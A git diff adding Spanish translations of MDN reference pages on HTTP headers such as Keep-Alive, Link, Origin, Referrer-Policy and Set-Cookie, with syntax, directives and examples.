Indica la parte del documento que el servidor debe devolver.
+
{{HTTPHeader("If-Range")}}
+
Crea una petición de rango condicional que sólo es satisfecha cuando el etag o los datos provistos coinciden con los del recurso remoto. Se usan para prevenir la descarga de dos rangos desde versiones incompatibles del mismo recurso. 
+
{{HTTPHeader("Content-Range")}}
+
Indica el lugar que debe ocupar un mensaje parcial dentro de la totalidad del cuerpo del recurso. 
+
+ +

Seguridad

+ +
+
{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})
+
Controla qué recursos puede cargar el usuario para una página concreta. 
+
{{HTTPHeader("Content-Security-Policy-Report-Only")}}
+
Permite a los desarrolladores web experimentar con políticas de acceso, monotorizando (pero sin implementar) sus efectos. Éstos informes de violación de protocolo contienen documentos del tipo {{Glossary("JSON")}} enviados mediante una petición HTTP POST hacia el URI especificado.
+
{{HTTPHeader("Expect-CT")}}
+
Permite a los sitios optar por informar y/o hacer cumplir los requerimientos de Transparencia de Certificados, lo que impide que el uso de certificados publicados incorrectamente por ese sitio, pase desapercibido. Cuando un sitio habilita el encabezado Expect-CT, se solicita a Chrome que verifique que cualquier certificado para ese sitio, aparezca en los registros públicos de CT.
+
{{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}})
+
Asocia una clave criptográfica pública y específica con un determinado servidor web para reducir el riesgo de {{Glossary("MITM")}} ataques con certificados falsificados.
+
{{HTTPHeader("Public-Key-Pins-Report-Only")}}
+
Envía reportes al report-uri especificado en la cabecera, sin bloquear la conexión entre cliente y servidor aún cuando el pinning ha sido violado.
+
+ +
+
{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})
+
Fuerza la comunicación utilizando HTTPS en lugar de HTTP.
+
{{HTTPHeader("Upgrade-Insecure-Requests")}}
+
Envía una señal al servidor expresando la preferencia del cliente por una respuesta encriptada y autenticada, y esta puede manejar de forma satisfactoria la directiva {{CSP("upgrade-insecure-requests")}}.
+
+ +
+
{{HTTPHeader("X-Content-Type-Options")}}
+
Deshabilita el MIME sniffing y fuerza al navegador a utilizar el tipo establecido en {{HTTPHeader("Content-Type")}}.
+
+ +
+
{{HTTPHeader("X-Download-Options")}}
+
...
+
+ +
+
{{HTTPHeader("X-Frame-Options")}} (XFO)
+
Le indica al navegador que debe renderizar una página utilizando {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} o {{HTMLElement("object")}}.
+
{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}
+
...
+
{{HTTPHeader("X-Powered-By")}}
+
...
+
{{HTTPHeader("X-XSS-Protection")}}
+
Habilita los filtros de cross-site scripting.
+
+ +

Eventos enviados por el servidor

+ +
+
{{HTTPHeader("Ping-From")}}
+
...
+
{{HTTPHeader("Ping-To")}}
+
...
+
{{HTTPHeader("Last-Event-ID")}}
+
...
+
+ +

Codificación de transferencia

+ +
+
{{HTTPHeader("Transfer-Encoding")}}
+
Especifica la forma de codificación para transferir la entidad al usuario de forma segura.
+
{{HTTPHeader("TE")}}
+
Especifica la codificación de transferencia que el usuario estará dispuesto a aceptar.
+
{{HTTPHeader("Trailer")}}
+
Le permite al remitente incluir campos adicionales al final de un mensaje fragmentado.
+
+ +

WebSockets

+ +
+
{{HTTPHeader("Sec-WebSocket-Key")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Extensions")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Accept")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Protocol")}}
+
...
+
{{HTTPHeader("Sec-WebSocket-Version")}}
+
...
+
+ +

Otros

+ +
+
{{HTTPHeader("Date")}}
+
Contiene la fecha y la hora en que el mensaje fue originado.
+
{{HTTPHeader("Expect-CT")}}
+
Le permite a los sitios el optar por reportar o forzar los requerimientos de transparencia de certificado.
+
{{HTTPHeader("Large-Allocation")}}
+
Le indica al navegador que la página a ser cargada va a realizar una asignación grande.
+
{{HTTPHeader("Link")}}
+
...
+
{{HTTPHeader("Retry-After")}}
+
Indica cuánto tiempo debe esperar el usuario antes de hacer una solicitud de seguimiento.
+
{{HTTPHeader("Server-Timing")}}
+
Comunica una o mas métricas y descripciones para un dado ciclo de petición-respuesta.
+
{{HTTPHeader("SourceMap")}}
+
Enlaza el código generado a un source map.
+
{{HTTPHeader("Upgrade")}}
+
Éste es un Estándar de Internet Propuesto. Para leer una guía inclusiva de todos los Estándares de Internet Oficiales y Propuestos con información detallada sobre cada uno de ellos, visita esta referencia de Estándares de Internet, que se actualiza de forma diaria. El documento relevante de la RFC para la Actualuzación sobre los Estándares de Cabeceras es el RFC 7230, sección 6.7. El estándar establece reglas para la actualización o cambios a un protocolo doferente en el cliente, servidor, o protocolo de conexiones actuales.Por ejemplo, este estándar de cabecera permite que un cliente cambie de un protocolo HTTP 1.1 al HTTP 2.0, asumiendo que el servidor decida reconocer e implementar la cabecera de Actualización. Ninguna de las partes involucradas está obligada a aceptar los cambios implementados por el campo de la Cabecera de Actualización {{HTTPHeader("Upgrade")}}.  Puede usarse tanto para cabeceras de cliente como para las del servidor. Si se especifica la cabecera de Actualización, el emisor también DEBE enviar el campo de cabecera de Conexión con la opción de actualización especificada. Para más detalles sobre dicho campo, por favor revisar la sección 6.1 de la ya mencionada RFC.
+
{{HTTPHeader("Vary")}}
+
Determina cómo emparejar futuras cabeceras de petición para decidir si una respuesta en caché puede utilizarse, en lugar de solicitar una cabecera nueva desde el servidor de origen. 
+
{{HTTPHeader("X-DNS-Prefetch-Control")}}
+
Controla el prefetching de DNS, una característica que permite a muchos navegadores realizar resoluciones de nombre de los dominios sobre ambos enlaces, que un usuario podría elegir seguir; así como URLs pata objetos referenciados por el documento incluyendo imágenes, CSS, archivos Javascript y demás. 
+
{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}
+
...
+
{{HTTPHeader("X-Requested-With")}}
+
...
+
{{HTTPHeader("X-Robots-Tag")}}
+
...
+
{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}
+
Utilizada por Internet Explorer para señalar que tipo de modo de documento utilizar.
+
+ +

Ver también

+ + diff --git a/files/es/web/http/headers/keep-alive/index.html b/files/es/web/http/headers/keep-alive/index.html new file mode 100644 index 0000000000..73af07d2f4 --- /dev/null +++ b/files/es/web/http/headers/keep-alive/index.html @@ -0,0 +1,93 @@ +--- +title: Keep-Alive +slug: Web/HTTP/Headers/Keep-Alive +tags: + - HTTP + - encabezado + - header + - keep-alive +translation_of: Web/HTTP/Headers/Keep-Alive +--- +
{{HTTPSidebar}}{{Non-standard_header}}
+ +

El encabezado Keep-Alive permite al remitente indicar como será la forma de conexión, se puede establecer un tiempo de espera y una cantidad máxima de solicitudes.

+ +
+

El encabezado  {{HTTPHeader("Connection")}} se tiene que establecer en  "keep-alive" para que este encabezado tenga sentido. Además, {{HTTPHeader("Connection")}} y {{HTTPHeader("Keep-Alive")}} son ignorados en  HTTP/2; la administración de la conexión se realiza mediante otros mecanismos.

+
+ + + + + + + + + + + + +
Header type{{Glossary("General header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Keep-Alive: parámetros
+ +

Directivas

+ +
+
parámetros
+
Lista de parámetros separados por coma, cada uno consiste en un identificador y un valor separado por el signo igual ('='). Es posible establecer los siguientes identificadores: +
    +
  • timeout: indica la cantidad de  tiempo mínima  en la cual una conexión ociosa se debe mantener abierta (en segundos). Nótese que los timeouts mas largos que el timeout de TCP pueden ser ignorados si no se establece un mensaje de TCP keep-alive  en la capa de transporte.
    • +
  • max: indica el número máximo de peticiones que pueden ser enviadas en esta conexión antes de que sea cerrada. Si es  0, este valor es ignorado para las conexiones no segmentadas, ya que se enviara otra solicitud en la próxima respuesta. Una canalización de HTTP puede ser usada para limitar la división.
    • +
+
+
+ +

Ejemplos

+ +

Una respuesta que contiene el encabezado Keep-Alive:

+ +
HTTP/1.1 200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Thu, 11 Aug 2016 15:23:13 GMT
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Mon, 25 Jul 2016 04:32:39 GMT
+Server: Apache
+
+(body)
+ +

Especificaciones

+ + + + + + + + + + + + + + + + +
SpecificationTitle
HyperText Transport Protocol Keep-Alive HeaderThe Keep-Alive Header (Experimental specification)
{{RFC("7230", "Keep-Alive", "appendix-A.1.2")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.headers.Keep-Alive")}}

+ +

Mirar tambien

+ + diff --git a/files/es/web/http/headers/link/index.html b/files/es/web/http/headers/link/index.html new file mode 100644 index 0000000000..d1de0eef8f --- /dev/null +++ b/files/es/web/http/headers/link/index.html @@ -0,0 +1,79 @@ +--- +title: Link +slug: Web/HTTP/Headers/Link +tags: + - Enlaces + - HTTP + - HTTP Headers + - Links + - Referencia +translation_of: Web/HTTP/Headers/Link +--- +
{{HTTPSidebar}}
+ +

El campo de encabezado de entidad de Link HTTP proporciona un medio para serializar uno o más enlaces en encabezados HTTP. Es semánticamente equivalente al elemento HTML {{HTMLElement("link")}}.

+ + + +

Sintaxis

+ +
Link: < uri-referencia >; parametro1=valor1; parametro2="valor2"
+ +
+
<uri-reference>
+
La referencia de URI debe estar encerrada entre < y >.
+
+ +

Parametros

+ +

El encabezado del enlace contiene parámetros, que se separan con ; y son equivalentes a los atributos del elemento {{HTMLElement("link")}}.

+ +

Ejemplos

+ +

El URI debe estar encerrado entre < y >:

+ +
Link: <https://ejemplo.com>; rel="preconnect"
+ +
Link: https://mal.ejemplo; rel="preconnect"
+ + + +

Se puede especificar varios enlaces separados por comas, por ejemplo:

+ +
Link: <https://uno.ejemplo.com>; rel="preconnect", <https://dos.ejemplo.com>; rel="preconnect", <https://tres.ejemplo.com>; rel="preconnect"
+ +

Especificaciones

+ + + + + + + + + + + + + + + + + + + + + +
EspecificacionesEstadoComentarios
{{RFC(8288, "Link Serialisation in HTTP Headers", 3)}}IETF RFC
{{RFC(5988, "The Link Header Field", 5)}}IETF RFCDefinición inicial
+ +

Compatibilidad del navegador

+ + + +

{{Compat("http.headers.Link")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/origin/index.html b/files/es/web/http/headers/origin/index.html new file mode 100644 index 0000000000..99d4b11b0f --- /dev/null +++ b/files/es/web/http/headers/origin/index.html @@ -0,0 +1,83 @@ +--- +title: Origin +slug: Web/HTTP/Headers/Origin +tags: + - Cabecera + - HTTP + - Petición del encabezado + - Referencia + - origin +translation_of: Web/HTTP/Headers/Origin +--- +
{{HTTPSidebar}}
+ +

La cabecera de petición Origin indica de dónde se origina una búsqueda. No incluye ninguna información de ruta, sino sólo el nombre del servidor. Es enviado con las peticiones {{Glossary("CORS")}}, tanto como con las peticiones {{HTTPMethod("POST")}}. Es similar a la cabecera {{HTTPHeader("Referer")}}, pero, a diferencia de ésta, no revela la ruta completa.

+ + + + + + + + + + + + +
Tipo de encabezado{{Glossary("Request header", "Petición del encabezado")}}
{{Glossary("Forbidden header name", "Nombe prohibido del encabezado")}}Sí
+ +

Sintaxis

+ +
Origin: ""
+Origin: <esquema> "://" <nombre de host> [ ":" <puerto> ]
+
+ +

Origin puede ser una cadena vacía: esto es útil, por ejemplo, si el origen es una data URL.

+ +

Directivas

+ +
+
<esquema>
+
El protocolo usado. Generalmente es el protocolo HTTP o su versión segura, HTTPS.
+
<nombre de host>
+
El nombre de dominio del servidor (para hosting virtual) o la IP.
+
<puerto> {{optional_inline}}
+
Número de puerto TCP en el que el servidor está escuchando. Si no se proporciona, se usa el puerto por defecto para el servicio requerido (e.g., "80" para una URL HTTP).
+
+ +

Ejemplos

+ +
Origin: https://developer.mozilla.org
+ +

Especificaciones

+ + + + + + + + + + + + + + + + +
EspecificaciónComentario
{{RFC("6454", "Origin", "7")}}El Concepto de Origen Web
{{SpecName('Fetch','#origin-header','Origin header')}}Suplanta la cabecera Origin como se define en RFC6454.
+ +

Compatibilidad de navegadores

+ + + +

{{Compat("http.headers.Origin")}}

+ +

Ver también

+ + diff --git a/files/es/web/http/headers/pragma/index.html b/files/es/web/http/headers/pragma/index.html new file mode 100644 index 0000000000..2d1344e2c2 --- /dev/null +++ b/files/es/web/http/headers/pragma/index.html @@ -0,0 +1,77 @@ +--- +title: Pragma +slug: Web/HTTP/Headers/Pragma +translation_of: Web/HTTP/Headers/Pragma +--- +
{{HTTPSidebar}}
+ +

El Pragmaencabezado general HTTP / 1.0 es un encabezado específico de la implementación que puede tener varios efectos a lo largo de la cadena de solicitud-respuesta. Se utiliza para la compatibilidad con versiones anteriores de las memorias caché HTTP / 1.0 en las que el Cache-Controlencabezado HTTP / 1.1 aún no está presente.

+ +
+

Nota : Pragmano se especifica para las respuestas HTTP y, por lo tanto, no es un reemplazo confiable para el Cache-Controlencabezado HTTP / 1.1 general , aunque se comporta de la misma manera que Cache-Control: no-cache, si el Cache-Controlcampo del encabezado se omite en una solicitud. Utilice Pragmasolo para compatibilidad con versiones anteriores con clientes HTTP / 1.0.

+
+ + + + + + + + + + + + + + + + +
Tipo de encabezado{{Glossary("General header")}}, pero el comportamiento de respuesta no se especifica y, por lo tanto, es específico de la implementación.
{{Glossary("Forbidden header name")}}no
{{Glossary("Simple response header", "CORS-safelisted response-header")}}si
+ +

Sintaxis

+ +
Pragma: no-cache
+
+ +

Directiva

+ +
+
no-cache
+
+

Igual que Cache-Control: no-cache. Hace que las cachés envíen la solicitud al servidor de origen para su validación antes de liberar una copia en caché.

+
+
+ +

Ejemplos 

+ +
Pragma: no-cache
+ +

Especificación 

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7234", "Pragma", "5.4")}}Hypertext Transfer Protocol (HTTP/1.1): almacenamiento en caché
+ +

Compatibilidad de navegadores

+ + + +

{{Compat("http.headers.Pragma")}}

+ +

Véase también

+ + + +

Traducción realizada por Ervin A. Santos R.

diff --git a/files/es/web/http/headers/referer/index.html b/files/es/web/http/headers/referer/index.html new file mode 100644 index 0000000000..aa37ad8a59 --- /dev/null +++ b/files/es/web/http/headers/referer/index.html @@ -0,0 +1,84 @@ +--- +title: Referer +slug: Web/HTTP/Headers/Referer +tags: + - Cabecera + - HTTP + - Referencia +translation_of: Web/HTTP/Headers/Referer +--- +
{{HTTPSidebar}}
+ +

La cabecera de solicitud Referer (‘referente’) contiene la dirección de la página web anterior de la que provenía el enlace a la página actual que se siguió. La cabecera Referer permite a los servidores identificar de dónde los visitan las personas y pueden emplear estos datos para realizar análisis, registros o un almacenamiento en antememoria optimizado, por mencionar algunos ejemplos.

+ +

Observe que referer es una grafía errónea de la palabra referrer. Consulte {{interwiki("wikipedia", "HTTP_referer", "HTTP referer en Wikipedia")}} para obtener más información.

+ +
+

La cabecera Referer tiene el potencial de revelar información sobre el histórico de navegación del usuario, lo cual constituye un problema de privacidad.

+
+ +

Los navegadores no envían ninguna cabecera Referer si:

+ + + + + + + + + + + + + + +
Tipo de cabecera{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}sí
+ +

Sintaxis

+ +
Referer: <url>
+
+ +

Directivas

+ +
+
<url>
+
Una dirección absoluta o parcial de la página web anterior, la cual contenía un enlace hacia la página solicitada actual que se siguió. No se incluyen los fragmentos de URL (esto es, «#sección») ni los datos de usuario (o sea, «nombredeusuario:contraseña» en URI como «https://nombredeusuario:contraseña@ejemplo.com/equis/ye/»).
+
+ +

Ejemplos

+ +
Referer: https://developer.mozilla.org/es/docs/Web/JavaScript
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "Referer", "5.5.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad entre navegadores

+ + + +

{{Compat("http.headers.Referer")}}

+ +

Véase también

+ + diff --git a/files/es/web/http/headers/referrer-policy/index.html b/files/es/web/http/headers/referrer-policy/index.html new file mode 100644 index 0000000000..7d5e20ae83 --- /dev/null +++ b/files/es/web/http/headers/referrer-policy/index.html @@ -0,0 +1,237 @@ +--- +title: Referrer-Policy +slug: Web/HTTP/Headers/Referrer-Policy +tags: + - Cabecera + - HTTP + - Respuesta + - privacidad +translation_of: Web/HTTP/Headers/Referrer-Policy +--- +
{{HTTPSidebar}}
+ +

La cabecera Referrer-Policy de HTTP determina qué datos de referente, de entre los que se envían con la cabecera {{HTTPHeader("Referer")}}, deben incluirse con las solicitudes realizadas.

+ + + + + + + + + + + + +
Tipo de cabecera{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +

Observe que {{HTTPHeader("Referer")}} es una falta de ortografía; en inglés, la palabra correcta es referrer. La cabecera Referrer-Policy no contiene esta falta.

+ +
Referrer-Policy: no-referrer
+Referrer-Policy: no-referrer-when-downgrade
+Referrer-Policy: origin
+Referrer-Policy: origin-when-cross-origin
+Referrer-Policy: same-origin
+Referrer-Policy: strict-origin
+Referrer-Policy: strict-origin-when-cross-origin
+Referrer-Policy: unsafe-url
+
+ +

Directivas

+ +
+
no-referrer
+
La cabecera {{HTTPHeader("Referer")}} se omitirá en su totalidad. No se enviará ningún dato de referente junto con las solicitudes.
+
no-referrer-when-downgrade (predeterminado)
+
Este es el comportamiento predeterminado del agente de usuario si no se especifica ninguna directiva. El origen se enviará como referente cuando el nivel de seguridad del protocolo permanece igual (HTTPS → HTTPS), pero no se enviará a destinos menos seguros (HTTPS → HTTP).
+
origin
+
Se enviará únicamente el origen del documento como referente en todos los casos. El documento https://ejemplo.com/pagina.html enviará el referente https://ejemplo.com/.
+
origin-when-cross-origin
+
Se enviará un URL completo al realizarse una solicitud de origen equivalente, pero únicamente el origen para otros casos.
+
same-origin
+
Se enviará un referente para orígenes de sitio equivalente, pero las solicitudes de origen transversal no contendrán ningún dato de referente.
+
strict-origin
+
Solo se enviará el origen del documento como referente a destinos que a priori son igual de seguros (HTTPS → HTTPS), pero no lo recibirán destinos menos seguros (HTTPS → HTTP).
+
strict-origin-when-cross-origin
+
Se enviará un URL completo al realizarse una solicitud de origen equivalente, se enviará únicamente el origen del documento a destinos igual de seguros a priori (HTTPS → HTTPS) y no se enviará ninguna cabecera a destinos menos seguros (HTTPS → HTTP).
+
unsafe-url
+
Se enviará un URL completo al realizarse una solicitud de origen equivalente o de origen transversal. +
Esta directiva filtrará los orígenes y las rutas de acceso de recursos protegidos por TLS a orígenes inseguros. Estudie atentamente el impacto resultante de esta configuración.
+
+
+ +

Ejemplos

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectivaDocumentoNavegación aReferente
no-referrerhttps://ejemplo.com/pagina.htmlcualquier dominio o ruta de accesoningún referente
no-referrer-when-downgradehttps://ejemplo.com/pagina.htmlhttps://ejemplo.com/otrapagina.htmlhttps://ejemplo.com/pagina.html
no-referrer-when-downgradehttps://ejemplo.com/pagina.htmlhttps://mozilla.orghttps://ejemplo.com/pagina.html
no-referrer-when-downgradehttps://ejemplo.com/pagina.htmlhttp://ejemplo.orgningún referente
originhttps://ejemplo.com/pagina.htmlcualquier dominio o ruta de accesohttps://ejemplo.com/
origin-when-cross-originhttps://ejemplo.com/pagina.htmlhttps://ejemplo.com/otrapagina.htmlhttps://ejemplo.com/pagina.html
origin-when-cross-originhttps://ejemplo.com/pagina.htmlhttps://mozilla.orghttps://ejemplo.com/
origin-when-cross-originhttps://ejemplo.com/pagina.htmlhttp://ejemplo.com/pagina.htmlhttps://ejemplo.com/
same-originhttps://ejemplo.com/pagina.htmlhttps://ejemplo.com/otrapagina.htmlhttps://ejemplo.com/pagina.html
same-originhttps://ejemplo.com/pagina.htmlhttps://mozilla.orgningún referente
strict-originhttps://ejemplo.com/pagina.htmlhttps://mozilla.orghttps://ejemplo.com/
strict-originhttps://ejemplo.com/pagina.htmlhttp://ejemplo.orgningún referente
strict-originhttp://ejemplo.com/pagina.htmlcualquier dominio o ruta de accesohttp://ejemplo.com/
strict-origin-when-cross-originhttps://ejemplo.com/pagina.htmlhttps://ejemplo.com/otrapagina.htmlhttps://ejemplo.com/pagina.html
strict-origin-when-cross-originhttps://ejemplo.com/pagina.htmlhttps://mozilla.orghttps://ejemplo.com/
strict-origin-when-cross-originhttps://ejemplo.com/pagina.htmlhttp://example.orgningún referente
unsafe-urlhttps://ejemplo.com/pagina.html?q=123cualquier dominio o ruta de accesohttps://ejemplo.com/pagina.html?q=123
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónEstado
Directiva de referentesAnteproyecto de editores
+ +

Compatibilidad entre navegadores

+ + + +

{{Compat("http.headers.Referrer-Policy")}}

+ +
+

Notas:

+ + + +

Los valores posibles son:

+ + +
+ +

Véase también

+ + diff --git a/files/es/web/http/headers/server/index.html b/files/es/web/http/headers/server/index.html new file mode 100644 index 0000000000..5fc9356428 --- /dev/null +++ b/files/es/web/http/headers/server/index.html @@ -0,0 +1,66 @@ +--- +title: Server +slug: Web/HTTP/Headers/Server +translation_of: Web/HTTP/Headers/Server +--- +
{{HTTPSidebar}}
+ +

La cabecera Server contiene la información acerca del software usado por el servidor original encargado de la solicitud.

+ +

La información larga y detallada debe de ser evitada en las cabeceras Server ya que puede revelar detalles de implementación que pueden hacer (un poco) más fácil para los atacantes encontrar y explotar huecos de seguridad.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintaxis

+ +
Server: <producto>
+
+ +

Directivas

+ +
+
<producto>
+
El nombre del software o (sub) producto que se encargó de las solicitudes.
+
+ +

Ejemplos

+ +
Server: Apache/2.4.1 (Unix)
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7231", "Server", "7.4.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilidad con navegadores

+ + + +

{{Compat("http.headers.Server")}}

+ +

Véase también

+ + diff --git a/files/es/web/http/headers/set-cookie/index.html b/files/es/web/http/headers/set-cookie/index.html new file mode 100644 index 0000000000..f8a50e2c7c --- /dev/null +++ b/files/es/web/http/headers/set-cookie/index.html @@ -0,0 +1,217 @@ +--- +title: Set-Cookie +slug: Web/HTTP/Headers/Set-Cookie +tags: + - Cookies + - HTTP + - Referencia + - Respuesta + - encabezado + - samesite +translation_of: Web/HTTP/Headers/Set-Cookie +--- +
{{HTTPSidebar}}
+ +
+ +
La cabecera de respuesta HTTP Set-Cookie se usa para enviar cookies desde el servidor al agente de usuario, así el agente de usuario puede enviarlos de vuelta al servidor.
+ +
+ +
Para más información, visite la guía para cookies HTTP.
+ +
+ + + + + + + + + + + + +
Tipo de cabecera{{Glossary("Response header", "Respuesta del encabezado")}}
{{Glossary("Forbidden header name", "Nombre prohibido del encabezado")}}no
+ +

Sintaxis

+ +
Set-Cookie: <cookie-name>=<cookie-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
+Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
+Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
+Set-Cookie: <cookie-name>=<cookie-value>; Secure
+Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
+
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
+Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None
+
+// Es posible usar múltiples directivas, por ejemplo:
+Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly
+
+ +

Directivas

+ + + + + +
+
<cookie-name>=<cookie-value>
+
Una cookie comienza con un par nombre-valor: +
    +
  • Un <cookie-name> puede ser cualquier cosa excepto caracteres de control (CTLs) o espacios y tabulaciones. Tampoco debe contener caracteres de separación como los siguientes: ( ) < > @ , ; : \ " /  [ ] ? = { }.
    • +
  • Un <cookie-value> opcionalmente puede ser establecido dentro de comillas dobles y se permite usar cualquier caracter US-ASCII excluyendo CTLs, espacios en blanco, comillas dobles, comas, punto y coma y la barra invertida. Codificación: Muchas implementaciones realizan codificación de URL sobre los valores de la cookie, aunque esto no es requerido por la especificación RFC. Esto ayuda a satisfacer los requerimientos sobre los caracteres permitidos para <cookie-value>.
    • +
  • Prefijo __Secure-: Las cookies cuyo nombre comience por __Secure- (los guiones forman parte del prefijo) deben ser establecidas con la bandera secure y deben provenir de una página segura (HTTPS).
    • +
  • Prefijo __Host-: Las cookies cuyo nombre comience por __Host- deben ser establecidas con la bandera secure, provenir de una página segura (HTTPS), no deben tener especificado un dominio (y por tanto no son enviadas a subdominios) y la ruta debe ser "/".
    • +
+
+
Expires=<date> {{optional_inline}}
+
+

El tiempo de vida máximo útil de una cookie como marca HTTP-date timestamp. Ver {{HTTPHeader("Date")}} para el detalle del formato.

+ +

Si no está especificado, la cookie tendrá el tiempo de vida de una session cookie. Una sesión finaliza cuando el cliente lo culmina, esto quiere decir que la sesión será removida en ese punto.

+ +
+

Advertencia: Sin embargo, muchos navegadores web tiene una caracteristica llamada "restaurar" que almacenará todas tus pestañas para tenerlas lista cuando el navegador sea usado nuevamente. Las cookies de sesión tambien estarán presentes como si nunca se hubiera cerrado el navegador.

+
+ Cuando una fecha de Expires es definida, la fecha límite es relativa al cliente donde la cookie se define, no en el servidor.
+
Max-Age=<non-zero-digit> {{optional_inline}}
+
Número de segundos hasta que la cookie expire. Un cero o un número negativo hace expirar la cookie inmediatamente. Los navegadores antiguos (ie6, ie7, and ie8) no soportan max-age. Para otros navegadores, si ambos estan definidos (Expires y Max-Age), Max-Age tendrá mayor importancia.
+
Domain=<domain-value> {{optional_inline}}
+
Anfitriones donde la cookie será enviada. +
    +
  • Si se omite, por defecto el huésped es la URL del documento actual, sin incluir subdominios.
    • +
  • Contraria a anteriores especificaciones, los puntos principales en nombres de dominio (.example.com) son ignorados.
    • +
  • Si un dominio es especificado, los subdominios son siempre incluídos.
    • +
+
+
Path=<path-value> {{optional_inline}}
+
Una ruta que debe existir en la URL solicitada, o el navegador no enviará el encabezado Cookie.
+
El caracter diagonal (/) es interpretado como un separador de directorios y subdirectorios que serán también comparados: para Path=/docs, /docs, /docs/Web/, y /docs/Web/HTTP todos tendrán que coincidir.
+
Secure {{optional_inline}}
+
Una cookie segura es sólo enviada al servidor cuando una petición es enviada con el esquema https:. (Sin embargo, información confidencial nunca debería ser almacenada en Cookies HTTP, como todo el mecanismo es  However, confidential information should never be stored in HTTP Cookies, ya que todo el mecanismo es inherentemente inseguro y no encripta ninguna información.) +

Nota: Sitios inseguros (http:) no puenden almacenar directivas "seguras" apartir de Chrome 52+ y Firefox 52+.

+
+
HttpOnly {{optional_inline}}
+
Impide que el código JavaScript acceda a la cookie. Por ejemplo, a través de la propiedad {{domxref("Document.cookie")}}, y la API {{domxref("XMLHttpRequest")}}, o la API {{domxref("Request")}}. Esto mitiga los ataques contra scripts cross-site ({{Glossary("XSS")}}).
+
SameSite=<samesite-value> {{optional_inline}}
+
+
    +
  • Strict
    • +
  • Lax
    • +
  • None
    • +
+ +

Afirma que una cookie no debe ser enviada con peticiones cruzadas, proveiendo alguna protección contra ataques de falsificación de solicitudes cruzadas ({{Glossary("CSRF")}}).

+ +

Los navegadores haciendo migraciones para que el comportamiento por defecto de las cookies en lugar de default sea SameSite=Lax. Si una cookie necesita ser enviada en peticiones cruzadas, se tiene que optar por no restringir el mismo sitio (SameSite) usando la directiva None. La directiva None requiere el atributo Secure.

+
+
+ +

Ejemplos

+ + + +

Las cookies de sesión son removidas cuando el cliente se apaga. Las cookies son cookies de sesión si no se especifican las directivas Expires o Max-Age.

+ +
Set-Cookie: sessionId=38afes7a8
+ + + +

En lugar de expirar cuando el cliente se cierra, las cookies permanentes expiran en una fecha especifica (Expires) o después de una longitud de tiempo determinado (Max-Age).

+ +
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT
+
+ +
Set-Cookie: id=a3fWa; Max-Age=2592000
+ +

Invalid domains

+ +

Una cookie para un dominio que no incluya el servidor que la defina debería ser rechazada por el agente de usuario.

+ +

La siguiente cookie sera rechazada si se define por el servidor ubicado en originalcompany.com como:

+ +
Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk
+ +

Una cookie para el subdomino del dominio actual será rechazada.

+ +

La siguiente cookie sera rechazada si el servidor anfitrión en example.com la define como:

+ +
Set-Cookie: sessionId=e8bb43229de9; Domain=foo.example.com
+ + + +

Los nombres de las cookies prefijadas con __Secure- o __Host- pueden ser solo usadas si son definidas con la directiva secure desde un origen (HTTPS) seguro.

+ +

Además, cookies con el prefijo __Host- deben tener una ruta de / (significando cualquier ruta del huésped) y no debe tener un atributo Domain.

+ +
+

Para clientes que no implementan prefijos para las cookies, no se puede contar con que estas garantías adicionales, y las cookies prefijadas sean aceptadas.

+
+ +
// Ambas aceptadas al venir de un origen seguro (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rechazada por faltar la directiva Secure
+Set-Cookie: __Secure-id=1
+
+// Rechazada por faltar la directiva Path=/
+Set-Cookie: __Host-id=1; Secure
+
+// Rechazada por definir un dominio
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+
+ +

Especificaciones

+ + + + + + + + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("6265", "Set-Cookie", "4.1")}}Mecanismo de gestión del estado HTTP
draft-ietf-httpbis-rfc6265bis-05Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies
+ +

